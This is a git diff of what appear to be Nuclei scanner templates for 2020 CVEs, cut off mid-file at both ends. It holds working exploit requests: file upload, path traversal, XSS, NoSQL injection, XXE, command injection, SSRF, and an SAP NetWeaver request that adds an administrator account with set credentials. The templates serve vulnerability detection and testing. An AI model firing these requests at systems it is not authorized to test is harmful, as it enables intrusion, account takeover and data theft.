4a0a00473045022100acacef804c85b7da718c196fd8cfaa683d8571766960af825b7a7aa59d82c23a02204a51b89288bc610dfac50e7c2f07055ce5a2633e3a46ae2b52591b0f3687ed43:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2020-29597(1).yaml b/poc/cve/cve-2020-29597(1).yaml new file mode 100644 index 0000000000..839ed954e9 --- /dev/null +++ b/poc/cve/cve-2020-29597(1).yaml @@ -0,0 +1,49 @@ +id: CVE-2020-29597 +info: + name: IncomCMS 2.0 - Arbitrary File Upload + author: princechaddha + severity: critical + description: | + IncomCMS 2.0 has a an insecure file upload vulnerability in modules/uploader/showcase/script.php. This allows unauthenticated attackers to upload files into the server. + reference: + - https://github.com/Trhackno/CVE-2020-29597 + - https://nvd.nist.gov/vuln/detail/CVE-2020-29597 + - https://github.com/M4DM0e/m4dm0e.github.io/blob/gh-pages/_posts/2020-12-07-incom-insecure-up.md + - https://m4dm0e.github.io/2020/12/07/incom-insecure-up.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-29597 + cwe-id: CWE-434 + metadata: + verified: "true" + tags: cve,cve2020,incomcms,fileupload,intrusive +requests: + - raw: + - | + POST /incom/modules/uploader/showcase/script.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBEJZt0IK73M2mAbt + + ------WebKitFormBoundaryBEJZt0IK73M2mAbt + Content-Disposition: form-data; name="Filedata"; filename="{{randstr_1}}.png" + Content-Type: text/html + + {{randstr_2}} + ------WebKitFormBoundaryBEJZt0IK73M2mAbt-- + - | + GET /upload/userfiles/image/{{randstr_1}}.png HTTP/1.1 + Host: {{Hostname}} + req-condition: true + matchers-condition: and + matchers: + - type: word + part: body_1 + words: + - '{"status":"1","name":"{{randstr_1}}.png"}' + - type: word + part: body_2 + words: + - '{{randstr_2}}' + +# Enhanced by CS 06/06/2022 diff --git a/poc/cve/cve-2020-3452(1).yaml b/poc/cve/cve-2020-3452(1).yaml new file mode 100644 index 0000000000..8866c4df36 --- /dev/null +++ b/poc/cve/cve-2020-3452(1).yaml @@ -0,0 +1,31 @@ +id: CVE-2020-3452 +info: + name: Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) - Arbitrary File Retrieval + author: pdteam + severity: high + description: | + A vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and read sensitive files on a targeted system. The vulnerability is due to a lack of proper input validation of URLs in HTTP requests processed by an affected device. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device. The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files. + reference: + - https://twitter.com/aboul3la/status/1286012324722155525 + - http://packetstormsecurity.com/files/158646/Cisco-ASA-FTD-Remote-File-Disclosure.html + - http://packetstormsecurity.com/files/158647/Cisco-Adaptive-Security-Appliance-Software-9.11-Local-File-Inclusion.html + - http://packetstormsecurity.com/files/159523/Cisco-ASA-FTD-9.6.4.42-Path-Traversal.html + - http://packetstormsecurity.com/files/160497/Cisco-ASA-9.14.1.10-FTD-6.6.0.1-Path-Traversal.html + - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2020-3452 + cwe-id: CWE-20 + tags: cve,cve2020,cisco,lfi,kev +requests: + - method: GET + path: + - "{{BaseURL}}/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../" + - "{{BaseURL}}/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua" + matchers: + - type: word + words: + - "INTERNAL_PASSWORD_ENABLED" + - "CONF_VIRTUAL_KEYBOARD" + condition: and diff --git a/poc/cve/cve-2020-3452.yaml b/poc/cve/cve-2020-3452.yaml index 8866c4df36..0765bd4db4 100644 --- a/poc/cve/cve-2020-3452.yaml +++ b/poc/cve/cve-2020-3452.yaml @@ -1,10 +1,13 @@ id: CVE-2020-3452 + info: - name: Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) - Arbitrary File Retrieval + name: Cisco Adaptive Security Appliance (ASA)/Firepower Threat Defense (FTD) - Local File Inclusion author: pdteam severity: high description: | - A vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and read sensitive files on a targeted system. The vulnerability is due to a lack of proper input validation of URLs in HTTP requests processed by an affected device. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device. The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files. + Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software is vulnerable to local file inclusion due to directory traversal attacks that can read sensitive files on a targeted system because of a lack of proper input validation of URLs in HTTP requests processed by an affected device. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device. The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files. + remediation: | + Apply the necessary security patches or updates provided by Cisco to fix the vulnerability. reference: - https://twitter.com/aboul3la/status/1286012324722155525 - http://packetstormsecurity.com/files/158646/Cisco-ASA-FTD-Remote-File-Disclosure.html @@ -12,20 +15,31 @@ info: - http://packetstormsecurity.com/files/159523/Cisco-ASA-FTD-9.6.4.42-Path-Traversal.html - http://packetstormsecurity.com/files/160497/Cisco-ASA-9.14.1.10-FTD-6.6.0.1-Path-Traversal.html - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86 + - https://nvd.nist.gov/vuln/detail/CVE-2020-3452 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2020-3452 - cwe-id: CWE-20 - tags: cve,cve2020,cisco,lfi,kev -requests: + cwe-id: CWE-22,CWE-20 + epss-score: 0.97529 + epss-percentile: 0.99989 + cpe: cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: cisco + product: adaptive_security_appliance_software + tags: lfi,kev,packetstorm,cve,cve2020,cisco + +http: - method: GET path: - "{{BaseURL}}/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../" - "{{BaseURL}}/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua" + matchers: - type: word words: - "INTERNAL_PASSWORD_ENABLED" - "CONF_VIRTUAL_KEYBOARD" condition: and +# digest: 490a0046304402200840d7f00d8ee6d97dd557be8ca1f4ad894d87c6636d5cce7156b6a391ce78ba022014ae2624ee4ba1f53d348c2de67a441f5dab0e11c92e1991556137c1520db236:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2020-35234-5026.yaml b/poc/cve/cve-2020-35234-5026.yaml deleted file mode 100644 index 87155400d6..0000000000 --- a/poc/cve/cve-2020-35234-5026.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2020-35234 -info: - name: SMTP WP Plugin Directory Listing - author: PR3R00T - severity: high - description: The WordPress Easy WP SMTP Plugin has its log folder remotely accessible and its content available for access. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2020-35234 - - https://blog.nintechnet.com/wordpress-easy-wp-smtp-plugin-fixed-zero-day-vulnerability/ - - https://wordpress.org/plugins/easy-wp-smtp/#developers - remediation: Upgrade to version 1.4.3 or newer and consider disabling debug logs. - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2020-35234 - cwe-id: CWE-532 - tags: cve,cve2020,wordpress,wp-plugin,smtp -requests: - - method: GET - path: - - "{{BaseURL}}/wp-content/plugins/easy-wp-smtp/" - - "{{BaseURL}}/wp-content/plugins/wp-mail-smtp-pro/" - matchers: - - type: word - words: - - "debug" - - "log" - - "Index of" - condition: and - -# Enhanced by cs on 2022/02/28 diff --git a/poc/cve/cve-2020-35729-5065.yaml b/poc/cve/cve-2020-35729-5065.yaml deleted file mode 100644 index 632c7a5aad..0000000000 --- a/poc/cve/cve-2020-35729-5065.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2020-35729 - -info: - name: Klog Server Unauthenticated Command Injection - author: dwisiswant0 - severity: critical - reference: https://docs.unsafe-inline.com/0day/klog-server-unauthentication-command-injection - description: | - This template exploits an unauthenticated command injection vulnerability - in Klog Server versions 2.4.1 and prior. - - The `authenticate.php` file uses the `user` HTTP POST parameter in a call - to the `shell_exec()` PHP function without appropriate input validation, - allowing arbitrary command execution as the apache user. - - The sudo configuration permits the apache user to execute any command - as root without providing a password, resulting in privileged command - execution as root. - - Originated from Metasploit module, copyright (c) space-r7. - tags: cve,cve2020,klog,rce - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2020-35729 - cwe-id: CWE-78 - -requests: - - method: POST - path: - - "{{BaseURL}}/actions/authenticate.php" - body: 'user=pdnuclei%20%26%20echo%20%cG9jLXRlc3Rpbmc%3D%22%20%7C%20base64%20-d%20%26%20echo%22&pswd=pdnuclei' # Payload: & echo "cHJvamVjdGRpc2NvdmVyeS5pbw==" | base64 -d & echo" - matchers: - - type: word - words: - - "poc-testing" # from Base64 decoding payload \ No newline at end of file diff --git a/poc/cve/cve-2020-35774-5076.yaml b/poc/cve/cve-2020-35774-5076.yaml new file mode 100644 index 0000000000..05e6b5544c --- /dev/null +++ b/poc/cve/cve-2020-35774-5076.yaml @@ -0,0 +1,26 @@ +id: CVE-2020-35774 +info: + name: Twitter Server XSS + author: pikpikcu + severity: medium + description: | + server/handler/HistogramQueryHandler.scala in Twitter TwitterServer (aka twitter-server) before 20.12.0, in some configurations, allows XSS via the /histograms endpoint. + reference: https://nvd.nist.gov/vuln/detail/CVE-2020-35774 + tags: cve,cve2020,xss,twitter-server +requests: + - method: GET + path: + - "{{BaseURL}}/admin/histograms?h=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&fmt=plot_cdf&log_scale=true" + matchers-condition: and + matchers: + - type: word + words: + - '' + part: body + - type: status + status: + - 200 + - type: word + part: header + words: + - text/html diff --git a/poc/cve/cve-2020-3580-5085.yaml b/poc/cve/cve-2020-3580-5085.yaml deleted file mode 100644 index 3ce16df93b..0000000000 --- a/poc/cve/cve-2020-3580-5085.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2020-3580 -info: - name: Cisco ASA XSS - author: pikpikcu - severity: medium - description: | - Multiple vulnerabilities in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct cross-site scripting (XSS) attacks against a user of the web services interface of an affected device. The vulnerabilities are due to insufficient validation of user-supplied input by the web services interface of an affected device. An attacker could exploit these vulnerabilities by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the interface or allow the attacker to access sensitive, browser-based information. Note: These vulnerabilities affect only specific AnyConnect and WebVPN configurations. For more information, see the Vulnerable Products section. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2020-3580 - - https://twitter.com/ptswarm/status/1408050644460650502 - - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-multiple-FCB3vPZe - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2020-3580 - cwe-id: CWE-79 - tags: cve,cve2020,xss,cisco -requests: - - raw: - - | - POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - SAMLResponse=%22%3E%3Csvg/onload=alert(/{{randstr}}/)%3E - matchers-condition: and - matchers: - - type: word - words: - - '' - part: body - - type: status - status: - - 200 - - type: word - part: header - words: - - "text/html" diff --git a/poc/cve/cve-2020-35847-5094.yaml b/poc/cve/cve-2020-35847-5094.yaml new file mode 100644 index 0000000000..033d61bce1 --- /dev/null +++ b/poc/cve/cve-2020-35847-5094.yaml @@ -0,0 +1,27 @@ +id: CVE-2020-35847 +info: + name: Cockpit prior to 0.12.0 NoSQL injection in /auth/resetpassword + author: dwisiswant0 + severity: critical + description: | + resetpassword method of the Auth controller, + which is responsible for changing the user password using the reset token. + reference: https://swarm.ptsecurity.com/rce-cockpit-cms/ + tags: cve,cve2020,nosqli,sqli +requests: + - method: POST + path: + - "{{BaseURL}}/auth/requestreset" + headers: + Content-Type: application/json + body: | + { + "user": { + "$func": "var_dump" + } + } + matchers: + - type: regex + part: body + regex: + - 'string\([0-9]{1,3}\)(\s)?"([A-Za-z0-9]+)"' diff --git a/poc/cve/cve-2020-36365-5126.yaml b/poc/cve/cve-2020-36365-5126.yaml deleted file mode 100644 index edb7f1ea70..0000000000 --- a/poc/cve/cve-2020-36365-5126.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: CVE-2020-36365 -info: - name: Smartstore < 4.1.0 - Open redirect - author: 0x_Akoko - severity: medium - description: Smartstore (aka SmartStoreNET) before 4.1.0 allows CommonController.ClearCache, ClearDatabaseCache, RestartApplication, and ScheduleTaskController.Edit open redirect. - reference: - - https://github.com/smartstore/SmartStoreNET/issues/2113 - - https://www.cvedetails.com/cve/CVE-2020-36365 - - https://github.com/smartstore/SmartStoreNET - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2020-36365 - cwe-id: CWE-601 - metadata: - shodan-query: http.html:'content="Smartstore' - tags: cve,cve2020,redirect,smartstore -requests: - - method: GET - path: - - '{{BaseURL}}/backend/admin/common/clearcache?previousUrl=http://www.example.com' - matchers: - - type: regex - part: header - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 diff --git a/poc/cve/cve-2020-36510(1).yaml b/poc/cve/cve-2020-36510(1).yaml new file mode 100644 index 0000000000..adbb20d99d --- /dev/null +++ b/poc/cve/cve-2020-36510(1).yaml @@ -0,0 +1,35 @@ +id: CVE-2020-36510 +info: + name: 15Zine < 3.3.0 - Reflected Cross-Site Scripting + author: veshraj + severity: medium + description: | + The 15Zine Wordpress theme does not sanitize the cbi parameter before including it in the HTTP response via the cb_s_a AJAX action, leading to a reflected cross-site scripting. + reference: + - https://wpscan.com/vulnerability/d1dbc6d7-7488-40c2-bc38-0674ea5b3c95 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36510 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2020-36510 + cwe-id: CWE-79 + metadata: + verified: false + tags: xss,wordpress,wp-theme,wp,cve,cve2020 +requests: + - method: GET + path: + - '{{BaseURL}}/wp-admin/admin-ajax.php?action=cb_s_a&cbi=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + - type: word + part: header + words: + - text/html + - type: status + status: + - 200 diff --git a/poc/cve/cve-2020-4463.yaml b/poc/cve/cve-2020-4463.yaml new file mode 100644 index 0000000000..b15b5a5236 --- /dev/null +++ b/poc/cve/cve-2020-4463.yaml @@ -0,0 +1,62 @@ +id: CVE-2020-4463 + +info: + name: IBM Maximo Asset Management Information Disclosure - XML External Entity Injection + author: dwisiswant0 + severity: high + description: | + IBM Maximo Asset Management is vulnerable to an + XML external entity injection (XXE) attack when processing XML data. + A remote attacker could exploit this vulnerability to expose + sensitive information or consume memory resources. + remediation: | + Apply the latest security patches or updates provided by IBM to mitigate the vulnerability. + reference: + - https://www.ibm.com/support/pages/security-bulletin-ibm-maximo-asset-management-vulnerable-information-disclosure-cve-2020-4463 + - https://github.com/Ibonok/CVE-2020-4463 + - https://exchange.xforce.ibmcloud.com/vulnerabilities/181484 + - https://www.ibm.com/support/pages/node/6253953 + - https://nvd.nist.gov/vuln/detail/CVE-2020-4463 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L + cvss-score: 8.2 + cve-id: CVE-2020-4463 + cwe-id: CWE-611 + epss-score: 0.68764 + epss-percentile: 0.97665 + cpe: cpe:2.3:a:ibm:maximo_asset_management:7.6.0.1:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: ibm + product: maximo_asset_management + shodan-query: http.favicon.hash:-399298961 + tags: cve,cve2020,ibm,xxe,disclosure + +http: + - method: POST + path: + - "{{BaseURL}}/os/mxperson" + - "{{BaseURL}}/meaweb/os/mxperson" + + body: | + + + + + + headers: + Content-Type: "application/xml" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "QueryMXPERSONResponse" + - "MXPERSONSet" + + - type: word + part: header + words: + - "application/xml" +# digest: 490a00463044022067b61b06200e93a1cce9ab02c4c47ea3a0eb40797b57e11d4f8b74b3dfb5e39c022012cd9b57f35fc0a76dc93bb89fbe48eee16b2b95e427e0b710ddaddd47ff89aa:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2020-5284.yaml b/poc/cve/cve-2020-5284.yaml deleted file mode 100644 index c0f350e140..0000000000 --- a/poc/cve/cve-2020-5284.yaml +++ /dev/null @@ -1,47 +0,0 @@ -id: CVE-2020-5284 - -info: - name: Next.js <9.3.2 - Local File Inclusion - author: rootxharsh,iamnoooob,dwisiswant0 - severity: medium - description: Next.js versions before 9.3.2 are vulnerable to local file inclusion. An attacker can craft special requests to access files in the dist directory (.next). This does not affect files outside of the dist directory (.next). In general, the dist directory only holds build assets unless your application intentionally stores other assets under this directory. - remediation: This issue is fixed in version 9.3.2. - reference: - - https://github.com/zeit/next.js/releases/tag/v9.3.2 - - https://github.com/zeit/next.js/security/advisories/GHSA-fq77-7p7r-83rj - - https://nvd.nist.gov/vuln/detail/CVE-2020-5284 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - cvss-score: 4.3 - cve-id: CVE-2020-5284 - cwe-id: CWE-22,CWE-23 - epss-score: 0.00152 - epss-percentile: 0.51366 - cpe: cpe:2.3:a:zeit:next.js:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: zeit - product: next.js - tags: cve,cve2020,nextjs,lfi - -http: - - method: GET - path: - - "{{BaseURL}}/_next/static/../server/pages-manifest.json" - - matchers-condition: and - matchers: - - type: word - part: header - words: - - "application/json" - - - type: regex - part: body - regex: - - '\{"/_app":".*?_app\.js"' - - - type: status - status: - - 200 -# digest: 4a0a0047304502202a806e458c96f5b028619f00d1bb0408b14233d21e31198b843fd5cb276b0862022100822e4b58010963724072ea6b9ad39688f4adc20aa61b2e0b0ced109cea903ae9:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2020-5775-5178.yaml b/poc/cve/cve-2020-5775-5178.yaml deleted file mode 100644 index 5a62eef468..0000000000 --- a/poc/cve/cve-2020-5775-5178.yaml +++ /dev/null @@ -1,24 +0,0 @@ -id: CVE-2020-5775 -info: - name: Canvas LMS Unauthenticated Blind SSRF - author: alph4byt3 - severity: medium - description: Server-Side Request Forgery in Canvas LMS 2020-07-29 allows a remote, unauthenticated attacker to cause the Canvas application to perform HTTP GET requests to arbitrary domains. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2020-5775 - - https://www.tenable.com/security/research/tra-2020-49 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N - cvss-score: 5.8 - cve-id: CVE-2020-5775 - cwe-id: CWE-918 - tags: cve,cve2020,ssrf,oast,blind -requests: - - method: GET - path: - - "{{BaseURL}}/external_content/retrieve/oembed?endpoint=http://{{interactsh-url}}&url=foo" - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" diff --git a/poc/cve/cve-2020-6287.yaml b/poc/cve/cve-2020-6287.yaml new file mode 100644 index 0000000000..ff444b8861 --- /dev/null +++ b/poc/cve/cve-2020-6287.yaml @@ -0,0 +1,64 @@ +id: CVE-2020-6287 + +info: + name: SAP NetWeaver AS JAVA 7.30-7.50 - Remote Admin Addition + author: dwisiswant0 + severity: critical + description: SAP NetWeaver AS JAVA (LM Configuration Wizard), versions 7.30, 7.31, 7.40, 7.50, does not perform an authentication check which allows an attacker without prior authentication to execute configuration tasks to perform critical actions against the SAP Java system, including the ability to create an administrative user, and therefore compromising Confidentiality, Integrity and Availability of the system. + remediation: | + Apply the relevant SAP Security Note or patch provided by the vendor to mitigate this vulnerability. + reference: + - https://launchpad.support.sap.com/#/notes/2934135 + - https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=552599675 + - https://www.onapsis.com/recon-sap-cyber-security-vulnerability + - https://github.com/chipik/SAP_RECON + - https://nvd.nist.gov/vuln/detail/CVE-2020-6287 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10 + cve-id: CVE-2020-6287 + cwe-id: CWE-306 + epss-score: 0.97274 + epss-percentile: 0.99822 + cpe: cpe:2.3:a:sap:netweaver_application_server_java:7.30:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: sap + product: netweaver_application_server_java + shodan-query: http.favicon.hash:-266008933 + tags: cve,cve2020,sap,kev + +http: + - raw: + - | + POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1 + Host: {{Hostname}} + Content-Type: text/xml; charset=UTF-8 + Connection: close + + sap.com/tc~lm~config~contentcontent/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc + CiAgICAgICAgICAgIDxQQ0s+CiAgICAgICAgICAgIDxVc2VybWFuYWdlbWVudD4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT05GSUc+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+QWRtaW5pc3RyYXRvcjwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0NPTkZJRz4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgICAgPHJvbGVOYW1lPlRoaXNJc1JuZDczODA8L3JvbGVOYW1lPgogICAgICAgICAgICAgIDwvU0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgIDxTQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgPFNBUF9YSV9QQ0tfQURNSU4+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0FETUlOPgogICAgICAgICAgICAgIDxQQ0tVc2VyPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lIHNlY3VyZT0idHJ1ZSI+c2FwUnBvYzYzNTE8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+U2VjdXJlIVB3RDg4OTA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLVXNlcj4KICAgICAgICAgICAgICA8UENLUmVjZWl2ZXI+CiAgICAgICAgICAgICAgICA8dXNlck5hbWU+VGhpc0lzUm5kNzM4MDwvdXNlck5hbWU+CiAgICAgICAgICAgICAgICA8cGFzc3dvcmQgc2VjdXJlPSJ0cnVlIj5UaGlzSXNSbmQ3MzgwPC9wYXNzd29yZD4KICAgICAgICAgICAgICA8L1BDS1JlY2VpdmVyPgogICAgICAgICAgICAgIDxQQ0tNb25pdG9yPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lPlRoaXNJc1JuZDczODA8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+VGhpc0lzUm5kNzM4MDwvcGFzc3dvcmQ+CiAgICAgICAgICAgICAgPC9QQ0tNb25pdG9yPgogICAgICAgICAgICAgIDxQQ0tBZG1pbj4KICAgICAgICAgICAgICAgIDx1c2VyTmFtZT5UaGlzSXNSbmQ3MzgwPC91c2VyTmFtZT4KICAgICAgICAgICAgICAgIDxwYXNzd29yZCBzZWN1cmU9InRydWUiPlRoaXNJc1JuZDczODA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLQWRtaW4+CiAgICAgICAgICAgIDwvVXNlcm1hbmFnZW1lbnQ+CiAgICAgICAgICA8L1BDSz4KICAgIA== + userDetails + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "CTCWebServiceSi" + - "SOAP-ENV" + condition: and + + - type: word + part: header + words: + - "text/xml" + - "SAP NetWeaver Application Server" + + - type: status + status: + - 200 + +# userName - sapRpoc6351 +# password - Secure!PwD8890 +# digest: 490a0046304402206fb2a5da16ff132b2a21082b70432b3286b90e734a24e273a09465280bf374ee0220631d9f5a1ff141020710b9edd119eab03396ce1c7e9a508552b24155d6650132:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2020-7796-5255.yaml b/poc/cve/cve-2020-7796-5255.yaml deleted file mode 100644 index ca52508219..0000000000 --- a/poc/cve/cve-2020-7796-5255.yaml +++ /dev/null @@ -1,24 +0,0 @@ -id: CVE-2020-7796 -info: - name: Zimbra Collaboration Suite (ZCS) - SSRF - author: gy741 - severity: critical - description: Zimbra Collaboration Suite (ZCS) before 8.8.15 Patch 7 allows SSRF when WebEx zimlet is installed and zimlet JSP is enabled. - reference: - - https://www.adminxe.com/2183.html - tags: cve,cve2020,zimbra,ssrf,oast - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2020-7796 - cwe-id: CWE-918 -requests: - - raw: - - | - GET /zimlet/com_zimbra_webex/httpPost.jsp?companyId=http://{{interactsh-url}}%23 HTTP/1.1 - Host: {{Hostname}} - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" diff --git a/poc/cve/cve-2020-8194.yaml b/poc/cve/cve-2020-8194.yaml new file mode 100644 index 0000000000..bd7f67979e --- /dev/null +++ b/poc/cve/cve-2020-8194.yaml @@ -0,0 +1,49 @@ +id: CVE-2020-8194 + +info: + name: Citrix ADC and Citrix NetScaler Gateway - Remote Code Injection + author: dwisiswant0 + severity: medium + description: Citrix ADC and NetScaler Gateway are susceptible to remote code injection. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. Affected versions are before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18. Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 allow modification of a file download. + remediation: | + Apply the necessary security patches or updates provided by Citrix to mitigate this vulnerability. + reference: + - https://support.citrix.com/article/CTX276688 + - https://nvd.nist.gov/vuln/detail/CVE-2020-8194 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N + cvss-score: 6.5 + cve-id: CVE-2020-8194 + cwe-id: CWE-94 + epss-score: 0.90775 + epss-percentile: 0.98542 + cpe: cpe:2.3:o:citrix:application_delivery_controller_firmware:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: citrix + product: application_delivery_controller_firmware + tags: cve,cve2020,citrix + +http: + - raw: + - | + GET /menu/guiw?nsbrand=1&protocol=nonexistent.1337">&id=3&nsvpx=phpinfo HTTP/1.1 + Host: {{Hostname}} + Cookie: startupapp=st + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + + - type: word + part: header + words: + - "application/x-java-jnlp-file" + + - type: status + status: + - 200 +# digest: 4a0a004730450221008e18ba7d4c2e32d0f73d1647cf9f161bd007eed6513d0e57badd73330c4bbbfc02202246125e033d6ccaf0ef33eeae252e7c40449c4385db15dcf8af3fcd3c103cf6:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2020-9490-5415.yaml b/poc/cve/cve-2020-9490-5415.yaml deleted file mode 100644 index 327582dc0b..0000000000 --- a/poc/cve/cve-2020-9490-5415.yaml +++ /dev/null @@ -1,26 +0,0 @@ -id: 